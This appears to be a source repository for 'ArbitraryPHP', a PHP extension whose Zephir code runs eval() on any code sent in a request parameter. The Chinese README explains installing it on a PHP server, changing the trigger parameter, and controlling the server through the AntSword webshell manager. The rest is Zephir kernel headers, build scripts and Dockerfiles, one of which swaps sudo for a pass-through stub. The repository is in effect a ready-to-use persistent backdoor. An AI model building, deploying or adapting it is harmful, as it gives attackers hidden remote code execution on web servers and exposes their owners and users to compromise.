├── tests ├── index.php └── sample.php ├── .editorconfig ├── screenshot ├── 1.png ├── 2.png ├── 3.png └── 4.png ├── arbitraryphp ├── ext │ ├── initial │ │ ├── pre_request.h │ │ └── pre_request.c │ ├── clean │ ├── ext_config.h │ ├── ext.h │ ├── kernel │ │ ├── fcall_internal.h │ │ ├── exit.h │ │ ├── time.h │ │ ├── concat.h │ │ ├── README.md │ │ ├── iterator.h │ │ ├── backtrace.h │ │ ├── exit.c │ │ ├── output.h │ │ ├── session.h │ │ ├── variables.h │ │ ├── filter.h │ │ ├── math.h │ │ ├── iterator.c │ │ ├── extended │ │ │ └── fcall.h │ │ ├── require.h │ │ ├── time.c │ │ ├── backtrace.c │ │ ├── file.h │ │ ├── debug.h │ │ ├── session.c │ │ ├── output.c │ │ ├── exception.h │ │ ├── require.c │ │ ├── variables.c │ │ ├── globals.h │ │ ├── concat.c │ │ ├── array.h │ │ ├── string.h │ │ ├── exception.c │ │ ├── math.c │ │ ├── memory.h │ │ ├── debug.c │ │ ├── filter.c │ │ ├── object.h │ │ ├── main.c │ │ ├── operators.h │ │ ├── file.c │ │ └── main.h │ ├── php_ext.h │ ├── arbitraryphp.h │ ├── install │ ├── config.w32 │ ├── config.m4 │ ├── php_arbitraryphp.h │ └── arbitraryphp.c ├── arbitraryphp │ └── main.zep └── config.json ├── .gitignore ├── dockerfiles ├── Makefile └── linux │ ├── 5.6 │ └── Dockerfile │ ├── 7.0 │ └── Dockerfile │ ├── 7.1 │ └── Dockerfile │ ├── 7.2 │ └── Dockerfile │ ├── 5.4 │ └── Dockerfile │ └── 5.5 │ └── Dockerfile ├── LICENSE └── README.md /tests/index.php: -------------------------------------------------------------------------------- 1 | doEval(); 4 | -------------------------------------------------------------------------------- /screenshot/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phith0n/arbitrary-php-extension/HEAD/screenshot/1.png -------------------------------------------------------------------------------- /screenshot/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phith0n/arbitrary-php-extension/HEAD/screenshot/2.png -------------------------------------------------------------------------------- /screenshot/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phith0n/arbitrary-php-extension/HEAD/screenshot/3.png -------------------------------------------------------------------------------- /screenshot/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/phith0n/arbitrary-php-extension/HEAD/screenshot/4.png -------------------------------------------------------------------------------- /arbitraryphp/ext/initial/pre_request.h: -------------------------------------------------------------------------------- 1 | void pre_request(TSRMLS_D); 2 | 3 | #define REQUEST_NAME "arbitrary_php" -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .vscode/ 3 | 4 | lib/ 5 | 6 | arbitraryphp/compile.log 7 | arbitraryphp/compile-errors.log 8 | -------------------------------------------------------------------------------- /arbitraryphp/ext/clean: -------------------------------------------------------------------------------- 1 | find . -name \*.lo -o -name \*.o -o -name \*.gch | xargs rm -f 2 | make clean 3 | phpize --clean 4 | -------------------------------------------------------------------------------- /arbitraryphp/ext/ext_config.h: -------------------------------------------------------------------------------- 1 | /* This file was generated automatically by Zephir do not modify it! */ 2 | #include "config.h" -------------------------------------------------------------------------------- /arbitraryphp/ext/ext.h: -------------------------------------------------------------------------------- 1 | 2 | /* This file was generated automatically by Zephir do not modify it! */ 3 | 4 | #include "arbitraryphp.h" -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/fcall_internal.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEPHIR_KERNEL_FCALL_INTERNAL_H 2 | #define ZEPHIR_KERNEL_FCALL_INTERNAL_H 3 | #endif 4 | -------------------------------------------------------------------------------- /arbitraryphp/ext/php_ext.h: -------------------------------------------------------------------------------- 1 | 2 | /* This file was generated automatically by Zephir do not modify it! */ 3 | 4 | #include "php_arbitraryphp.h" -------------------------------------------------------------------------------- /arbitraryphp/ext/arbitraryphp.h: -------------------------------------------------------------------------------- 1 | 2 | /* This file was generated automatically by Zephir do not modify it! */ 3 | 4 | #ifndef ZEPHIR_CLASS_ENTRIES_H 5 | #define ZEPHIR_CLASS_ENTRIES_H 6 | 7 | #include "arbitraryphp/main.zep.h" 8 | 9 | #endif -------------------------------------------------------------------------------- /arbitraryphp/arbitraryphp/main.zep: -------------------------------------------------------------------------------- 1 | namespace ArbitraryPHP; 2 | 3 | class Main { 4 | public function doEval() 5 | { 6 | string request_name = "arbitrary_php"; 7 | if isset _REQUEST[request_name] { 8 | echo eval(_REQUEST[request_name]); 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /arbitraryphp/ext/install: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | export CC="gcc" 4 | export CFLAGS="-O2 -Wall -fvisibility=hidden -flto -DZEPHIR_RELEASE=1" 5 | 6 | phpize_bin=$(which phpize 2> /dev/null || which phpize5 2> /dev/null) 7 | 8 | if [ -z $(which sudo 2> /dev/null) ]; then 9 | alias sudo="" 10 | fi 11 | 12 | if [ -f Makefile ]; then 13 | sudo make -s clean 14 | sudo ${phpize_bin} --silent --clean 15 | fi 16 | 17 | ${phpize_bin} --silent 18 | 19 | ./configure --silent --enable-arbitraryphp 20 | make -s && sudo make -s install 21 | -------------------------------------------------------------------------------- /dockerfiles/Makefile: -------------------------------------------------------------------------------- 1 | NAME = tuwen/zephir 2 | SHELL = /bin/bash 3 | 4 | build-dockers: build-docker-7.2 build-docker-7.1 build-docker-7.0 build-docker-5.6 build-docker-5.5 build-docker-5.4 5 | 6 | build-docker-7.2: 7 | set -ex; \ 8 | cd linux/7.2; \ 9 | docker build -t $(NAME):7.2 . 10 | 11 | build-docker-7.1: 12 | set -ex; \ 13 | cd linux/7.1; \ 14 | docker build -t $(NAME):7.1 . 15 | 16 | build-docker-7.0: 17 | set -ex; \ 18 | cd linux/7.0; \ 19 | docker build -t $(NAME):7.0 . 20 | 21 | build-docker-5.6: 22 | set -ex; \ 23 | cd linux/5.6; \ 24 | docker build -t $(NAME):5.6 . 25 | 26 | build-docker-5.5: 27 | set -ex; \ 28 | cd linux/5.5; \ 29 | docker build -t $(NAME):5.5 . 30 | 31 | build-docker-5.4: 32 | set -ex; \ 33 | cd linux/5.4; \ 34 | docker build -t $(NAME):5.4 . 35 | 36 | docker-push: 37 | docker push $(NAME):7.2 38 | docker push $(NAME):7.1 39 | docker push $(NAME):7.0 40 | docker push $(NAME):5.6 41 | docker push $(NAME):5.5 42 | docker push $(NAME):5.4 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2018-present phith0n 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /arbitraryphp/ext/config.w32: -------------------------------------------------------------------------------- 1 | ARG_ENABLE("arbitraryphp", "enable arbitraryphp", "no"); 2 | 3 | if (PHP_ARBITRARYPHP != "no") { 4 | EXTENSION("arbitraryphp", "arbitraryphp.c", null, "-I"+configure_module_dirname); 5 | ADD_SOURCES(configure_module_dirname + "/kernel", "main.c memory.c exception.c debug.c backtrace.c object.c array.c string.c fcall.c require.c file.c operators.c math.c concat.c variables.c filter.c iterator.c exit.c time.c", "arbitraryphp"); 6 | ADD_SOURCES(configure_module_dirname + "/kernel/extended", "fcall.c", "arbitraryphp"); 7 | /* PCRE is always included on WIN32 */ 8 | AC_DEFINE("ZEPHIR_USE_PHP_PCRE", 1, "Whether PHP pcre extension is present at compile time"); 9 | if (PHP_JSON != "no") { 10 | ADD_EXTENSION_DEP("arbitraryphp", "json"); 11 | AC_DEFINE("ZEPHIR_USE_PHP_JSON", 1, "Whether PHP json extension is present at compile time"); 12 | } 13 | ADD_SOURCES(configure_module_dirname + "/initial", "pre_request.c", "arbitraryphp"); 14 | ADD_SOURCES(configure_module_dirname + "/arbitraryphp", "main.zep.c", "arbitraryphp"); 15 | ADD_FLAG("CFLAGS_ARBITRARYPHP", "/D ZEPHIR_RELEASE /Oi /Ot /Oy /Ob2 /Gs /GF /Gy /GL"); 16 | ADD_FLAG("CFLAGS", "/D ZEPHIR_RELEASE /Oi /Ot /Oy /Ob2 /Gs /GF /Gy /GL"); 17 | ADD_FLAG("LDFLAGS", "/LTCG"); 18 | } 19 | -------------------------------------------------------------------------------- /dockerfiles/linux/5.6/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6 2 | 3 | LABEL maintainer="phithon " 4 | 5 | ARG ZEPHIR_VERSION=0.11.1 6 | ARG ZEPHIR_PARSER_VERSION=1.1.2 7 | 8 | ENV PATH=${PATH}:/root/.composer/vendor/bin 9 | 10 | RUN set -ex \ 11 | && apt-get update \ 12 | && apt-get install -y --no-install-recommends git unzip ca-certificates wget \ 13 | && curl -sL https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | RUN set -ex \ 17 | && composer global require phalcon/zephir:${ZEPHIR_VERSION} \ 18 | && composer clearcache -n 19 | 20 | RUN set -ex \ 21 | && mkdir -p /usr/share/zephir \ 22 | && curl -sL https://github.com/phalcon/php-zephir-parser/archive/v${ZEPHIR_PARSER_VERSION}.tar.gz \ 23 | | tar xz --strip-components=1 -C /usr/share/zephir \ 24 | && cd /usr/share/zephir \ 25 | && ./install \ 26 | && { \ 27 | echo '[Zephir Parser]'; \ 28 | echo 'extension=zephir_parser.so'; \ 29 | } >> /usr/local/etc/php/conf.d/zephir_parser.ini \ 30 | && { \ 31 | echo '#!/usr/bin/env bash'; \ 32 | echo 'exec "$@"'; \ 33 | } >> /usr/bin/sudo \ 34 | && chmod +x /usr/bin/sudo \ 35 | && rm -rf /usr/share/zephir 36 | 37 | CMD ["zephir"] -------------------------------------------------------------------------------- /dockerfiles/linux/7.0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.0 2 | 3 | LABEL maintainer="phithon " 4 | 5 | ARG ZEPHIR_VERSION=0.11.1 6 | ARG ZEPHIR_PARSER_VERSION=1.1.2 7 | 8 | ENV PATH=${PATH}:/root/.composer/vendor/bin 9 | 10 | RUN set -ex \ 11 | && apt-get update \ 12 | && apt-get install -y --no-install-recommends git unzip ca-certificates wget \ 13 | && curl -sL https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | RUN set -ex \ 17 | && composer global require phalcon/zephir:${ZEPHIR_VERSION} \ 18 | && composer clearcache -n 19 | 20 | RUN set -ex \ 21 | && mkdir -p /usr/share/zephir \ 22 | && curl -sL https://github.com/phalcon/php-zephir-parser/archive/v${ZEPHIR_PARSER_VERSION}.tar.gz \ 23 | | tar xz --strip-components=1 -C /usr/share/zephir \ 24 | && cd /usr/share/zephir \ 25 | && ./install \ 26 | && { \ 27 | echo '[Zephir Parser]'; \ 28 | echo 'extension=zephir_parser.so'; \ 29 | } >> /usr/local/etc/php/conf.d/zephir_parser.ini \ 30 | && { \ 31 | echo '#!/usr/bin/env bash'; \ 32 | echo 'exec "$@"'; \ 33 | } >> /usr/bin/sudo \ 34 | && chmod +x /usr/bin/sudo \ 35 | && rm -rf /usr/share/zephir 36 | 37 | CMD ["zephir"] -------------------------------------------------------------------------------- /dockerfiles/linux/7.1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.1 2 | 3 | LABEL maintainer="phithon " 4 | 5 | ARG ZEPHIR_VERSION=0.11.1 6 | ARG ZEPHIR_PARSER_VERSION=1.1.2 7 | 8 | ENV PATH=${PATH}:/root/.composer/vendor/bin 9 | 10 | RUN set -ex \ 11 | && apt-get update \ 12 | && apt-get install -y --no-install-recommends git unzip ca-certificates wget \ 13 | && curl -sL https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | RUN set -ex \ 17 | && composer global require phalcon/zephir:${ZEPHIR_VERSION} \ 18 | && composer clearcache -n 19 | 20 | RUN set -ex \ 21 | && mkdir -p /usr/share/zephir \ 22 | && curl -sL https://github.com/phalcon/php-zephir-parser/archive/v${ZEPHIR_PARSER_VERSION}.tar.gz \ 23 | | tar xz --strip-components=1 -C /usr/share/zephir \ 24 | && cd /usr/share/zephir \ 25 | && ./install \ 26 | && { \ 27 | echo '[Zephir Parser]'; \ 28 | echo 'extension=zephir_parser.so'; \ 29 | } >> /usr/local/etc/php/conf.d/zephir_parser.ini \ 30 | && { \ 31 | echo '#!/usr/bin/env bash'; \ 32 | echo 'exec "$@"'; \ 33 | } >> /usr/bin/sudo \ 34 | && chmod +x /usr/bin/sudo \ 35 | && rm -rf /usr/share/zephir 36 | 37 | CMD ["zephir"] -------------------------------------------------------------------------------- /dockerfiles/linux/7.2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2 2 | 3 | LABEL maintainer="phithon " 4 | 5 | ARG ZEPHIR_VERSION=0.11.1 6 | ARG ZEPHIR_PARSER_VERSION=1.1.2 7 | 8 | ENV PATH=${PATH}:/root/.composer/vendor/bin 9 | 10 | RUN set -ex \ 11 | && apt-get update \ 12 | && apt-get install -y --no-install-recommends git unzip ca-certificates wget \ 13 | && curl -sL https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | RUN set -ex \ 17 | && composer global require phalcon/zephir:${ZEPHIR_VERSION} \ 18 | && composer clearcache -n 19 | 20 | RUN set -ex \ 21 | && mkdir -p /usr/share/zephir \ 22 | && curl -sL https://github.com/phalcon/php-zephir-parser/archive/v${ZEPHIR_PARSER_VERSION}.tar.gz \ 23 | | tar xz --strip-components=1 -C /usr/share/zephir \ 24 | && cd /usr/share/zephir \ 25 | && ./install \ 26 | && { \ 27 | echo '[Zephir Parser]'; \ 28 | echo 'extension=zephir_parser.so'; \ 29 | } >> /usr/local/etc/php/conf.d/zephir_parser.ini \ 30 | && { \ 31 | echo '#!/usr/bin/env bash'; \ 32 | echo 'exec "$@"'; \ 33 | } >> /usr/bin/sudo \ 34 | && chmod +x /usr/bin/sudo \ 35 | && rm -rf /usr/share/zephir 36 | 37 | CMD ["zephir"] -------------------------------------------------------------------------------- /dockerfiles/linux/5.4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.4 2 | 3 | LABEL maintainer="phithon " 4 | 5 | ARG ZEPHIR_VERSION=0.9.11 6 | ARG ZEPHIR_PARSER_VERSION=1.0.0 7 | 8 | ENV PATH=${PATH}:/root/.composer/vendor/bin 9 | 10 | RUN set -ex \ 11 | && apt-get update \ 12 | && apt-get install -y --no-install-recommends git unzip ca-certificates wget \ 13 | && curl -sL https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | RUN set -ex \ 17 | && composer global require phalcon/zephir:${ZEPHIR_VERSION} \ 18 | && composer clearcache -n 19 | 20 | RUN set -ex \ 21 | && mkdir -p /usr/share/zephir \ 22 | && curl -sL https://github.com/phalcon/php-zephir-parser/archive/v${ZEPHIR_PARSER_VERSION}.tar.gz \ 23 | | tar xz --strip-components=1 -C /usr/share/zephir \ 24 | && cd /usr/share/zephir \ 25 | && bash ./install \ 26 | && { \ 27 | echo '[Zephir Parser]'; \ 28 | echo 'extension=zephir_parser.so'; \ 29 | } >> /usr/local/etc/php/conf.d/zephir_parser.ini \ 30 | && { \ 31 | echo '#!/usr/bin/env bash'; \ 32 | echo 'exec "$@"'; \ 33 | } >> /usr/bin/sudo \ 34 | && chmod +x /usr/bin/sudo \ 35 | && rm -rf /usr/share/zephir 36 | 37 | CMD ["zephir"] -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/exit.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Song Yeung | 16 | +------------------------------------------------------------------------+ 17 | */ 18 | 19 | #ifndef ZEPHIR_KERNEL_EXIT_H 20 | #define ZEPHIR_KERNEL_EXIT_H 21 | 22 | #include 23 | 24 | void zephir_exit_empty(); 25 | void zephir_exit(zval *ptr); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/time.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | */ 16 | 17 | #ifndef ZEPHIR_KERNEL_TIME_H 18 | #define ZEPHIR_KERNEL_TIME_H 19 | 20 | #include 21 | #include 22 | 23 | #define MICRO_IN_SEC 1000000.00 24 | 25 | void zephir_time(zval *return_value); 26 | #ifdef HAVE_GETTIMEOFDAY 27 | void zephir_microtime(zval *return_value, zval *get_as_float TSRMLS_DC); 28 | #endif 29 | 30 | #endif /* ZEPHIR_KERNEL_TIME_H */ 31 | -------------------------------------------------------------------------------- /dockerfiles/linux/5.5/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.5 2 | 3 | LABEL maintainer="phithon " 4 | 5 | ARG ZEPHIR_VERSION=0.11.1 6 | ARG ZEPHIR_PARSER_VERSION=1.1.2 7 | 8 | ENV PATH=${PATH}:/root/.composer/vendor/bin 9 | 10 | RUN set -ex \ 11 | && echo "deb http://ftp.debian.org/debian stretch main " > /etc/apt/sources.list.d/stretch.list \ 12 | && apt-get update \ 13 | && apt-get install -y --no-install-recommends git unzip re2c ca-certificates wget \ 14 | && curl -sL https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | RUN set -ex \ 18 | && composer global require phalcon/zephir:${ZEPHIR_VERSION} \ 19 | && composer clearcache -n 20 | 21 | RUN set -ex \ 22 | && mkdir -p /usr/share/zephir \ 23 | && curl -sL https://github.com/phalcon/php-zephir-parser/archive/v${ZEPHIR_PARSER_VERSION}.tar.gz \ 24 | | tar xz --strip-components=1 -C /usr/share/zephir \ 25 | && cd /usr/share/zephir \ 26 | && ./install \ 27 | && { \ 28 | echo '[Zephir Parser]'; \ 29 | echo 'extension=zephir_parser.so'; \ 30 | } >> /usr/local/etc/php/conf.d/zephir_parser.ini \ 31 | && { \ 32 | echo '#!/usr/bin/env bash'; \ 33 | echo 'exec "$@"'; \ 34 | } >> /usr/bin/sudo \ 35 | && chmod +x /usr/bin/sudo \ 36 | && rm -rf /usr/share/zephir 37 | 38 | CMD ["zephir"] -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/concat.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef ZEPHIR_KERNEL_CONCAT_H 3 | #define ZEPHIR_KERNEL_CONCAT_H 4 | 5 | #include 6 | #include 7 | 8 | #include "kernel/main.h" 9 | 10 | #define ZEPHIR_CONCAT_SV(result, op1, op2) \ 11 | zephir_concat_sv(&result, op1, sizeof(op1)-1, op2, 0 TSRMLS_CC); 12 | #define ZEPHIR_SCONCAT_SV(result, op1, op2) \ 13 | zephir_concat_sv(&result, op1, sizeof(op1)-1, op2, 1 TSRMLS_CC); 14 | 15 | #define ZEPHIR_CONCAT_VS(result, op1, op2) \ 16 | zephir_concat_vs(&result, op1, op2, sizeof(op2)-1, 0 TSRMLS_CC); 17 | #define ZEPHIR_SCONCAT_VS(result, op1, op2) \ 18 | zephir_concat_vs(&result, op1, op2, sizeof(op2)-1, 1 TSRMLS_CC); 19 | 20 | #define ZEPHIR_CONCAT_VV(result, op1, op2) \ 21 | zephir_concat_vv(&result, op1, op2, 0 TSRMLS_CC); 22 | #define ZEPHIR_SCONCAT_VV(result, op1, op2) \ 23 | zephir_concat_vv(&result, op1, op2, 1 TSRMLS_CC); 24 | 25 | 26 | void zephir_concat_sv(zval **result, const char *op1, zend_uint op1_len, zval *op2, int self_var TSRMLS_DC); 27 | void zephir_concat_vs(zval **result, zval *op1, const char *op2, zend_uint op2_len, int self_var TSRMLS_DC); 28 | void zephir_concat_vv(zval **result, zval *op1, zval *op2, int self_var TSRMLS_DC); 29 | #define zephir_concat_function(d, l, r) _zephir_concat_function(d, l, r TSRMLS_CC) 30 | void _zephir_concat_function(zval *result, zval *op1, zval *op2 TSRMLS_DC); 31 | 32 | #endif /* ZEPHIR_KERNEL_CONCAT_H */ 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ArbitraryPHP - 任意PHP代码执行扩展 2 | 3 | 这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。 4 | 5 | 可用于: 6 | 7 | - 管理目标PHP站点 8 | - HOOK与分析HTTP执行流程 9 | - 在不修改源代码的情况下控制PHP执行结果 10 | 11 | ## 安装 12 | 13 | 选择对应版本的PHP,下载[Releases](https://github.com/phith0n/arbitrary-php-extension/releases)下的二进制文件安装包,解压并获得相应PHP版本的二进制文件。 14 | 15 | 执行`php -i |grep extension_dir`,获取扩展目录: 16 | 17 | ![](screenshot/1.png) 18 | 19 | 将二进制文件arbitraryphp.so移动到扩展目录中,并修改php.ini,开启这个扩展: 20 | 21 | ``` 22 | extension=arbitraryphp.so 23 | ``` 24 | 25 | ## 使用 26 | 27 | 请求任意一个PHP,在参数`arbitrary_php`中增加任意PHP代码,即可执行: 28 | 29 | ![](screenshot/2.png) 30 | 31 | 也可以是POST请求: 32 | 33 | ![](screenshot/3.png) 34 | 35 | 使用[AntSword](https://github.com/AntSwordProject/antSword)管理: 36 | 37 | ![](screenshot/4.png) 38 | 39 | ## 从源码编译 40 | 41 | 你也可以自己编译扩展,首先安装如下软件: 42 | 43 | - docker 44 | 45 | 编译生成5.4~7.2版本下所有扩展: 46 | 47 | ```bash 48 | bash builds.sh 49 | ``` 50 | 51 | 只生成某个PHP版本的扩展: 52 | 53 | ```bash 54 | docker run -it --rm --name uu -v /root/arbitrary-php:/app tuwen/zephir:7.2 bash /app/build-ext.sh 55 | ``` 56 | 57 | ### 自定义执行参数 58 | 59 | 如果需要自定义请求参数`arbitrary_php`为其他值,可以修改`arbitraryphp/ext/initial/pre_request.h`中`REQUEST_NAME`的值: 60 | 61 | ```c 62 | void pre_request(TSRMLS_D); 63 | 64 | #define REQUEST_NAME "please_edit_it" 65 | ``` 66 | 67 | 再重新编译扩展即可。 68 | 69 | ## 支持 70 | 71 | 二进制文件仅支持在Linux下使用,Mac或Windows等操作系统,请自行编译。 72 | 73 | ## LICENSE 74 | 75 | ArbitraryPHP遵循MIT开源协议发布。 76 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/README.md: -------------------------------------------------------------------------------- 1 | Zephir Kernel 2 | ============== 3 | 4 | Zephir Kernel is a meta-framework on top of the Zend API helping to create PHP extensions in an easier way 5 | for a PHP developer. 6 | 7 | In order to build a fast and stable framework, we have created the Zephir Kernel. The use of 8 | this API helps us to write C code in a PHP style. We have developed a number of functions to help the 9 | programmer to write code more interoperable with PHP in a easier way. 10 | 11 | Zephir Kernel API is based on the Zend API, but we have added more features to facilitate us the work. 12 | Zephir is a very large project, frameworks need to be developed and improved every day, Zephir Kernel API 13 | helps us to write C code that is more stable and familiar to PHP developers. 14 | 15 | If you’re a PHP developer maybe you don’t know C or you don’t want to learn C, but after read this guide 16 | you will find the Zephir API very familiar to your knowledge. 17 | 18 | Zephir Kernel provides you: 19 | 20 | * Manipulate arrays/objects 21 | * Call functions/methods in the PHP userland 22 | * Automatic memory management 23 | * Require and execute PHP plain files 24 | * Simplification of common operations like concatenation 25 | * Read superglobals and update the active symbol table 26 | * Register classes in namespaces 27 | * Throw exceptions 28 | * And more 29 | 30 | License 31 | ------- 32 | Zephir is open-sourced software licensed under the New MIT License. See the LICENSE file for more information. 33 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/iterator.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_ITERATOR_H 22 | #define ZEPHIR_KERNEL_ITERATOR_H 23 | 24 | #include 25 | #include 26 | 27 | zend_object_iterator *zephir_get_iterator(zval *iterator TSRMLS_DC); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/backtrace.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_BACKTRACE_H 22 | #define ZEPHIR_KERNEL_BACKTRACE_H 23 | 24 | #ifndef ZEPHIR_RELEASE 25 | 26 | void zephir_print_backtrace(void); 27 | 28 | #else 29 | 30 | #ifndef zephir_print_backtrace 31 | #define zephir_print_backtrace() 32 | #endif 33 | 34 | #endif 35 | #endif /* ZEPHIR_KERNEL_BACKTRACE_H */ 36 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/exit.c: -------------------------------------------------------------------------------- 1 | /* 2 | +------------------------------------------------------------------------+ 3 | | Zephir Language | 4 | +------------------------------------------------------------------------+ 5 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 6 | +------------------------------------------------------------------------+ 7 | | This source file is subject to the New BSD License that is bundled | 8 | | with this package in the file docs/LICENSE.txt. | 9 | | | 10 | | If you did not receive a copy of the license and are unable to | 11 | | obtain it through the world-wide-web, please send an email | 12 | | to license@zephir-lang.com so we can send you a copy immediately. | 13 | +------------------------------------------------------------------------+ 14 | | Authors: Song Yeung | 15 | +------------------------------------------------------------------------+ 16 | */ 17 | 18 | #ifdef HAVE_CONFIG_H 19 | #include "config.h" 20 | #endif 21 | 22 | #include "php.h" 23 | #include "php_ext.h" 24 | #include "php_main.h" 25 | 26 | #include "kernel/main.h" 27 | #include "kernel/exit.h" 28 | 29 | void zephir_exit_empty() 30 | { 31 | zend_bailout(); 32 | } 33 | 34 | void zephir_exit(zval *ptr) { 35 | TSRMLS_FETCH(); 36 | if (Z_TYPE_P(ptr) == IS_LONG) { 37 | EG(exit_status) = Z_LVAL_P(ptr); 38 | } else { 39 | zend_print_variable(ptr); 40 | } 41 | zephir_exit_empty(); 42 | } 43 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/output.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 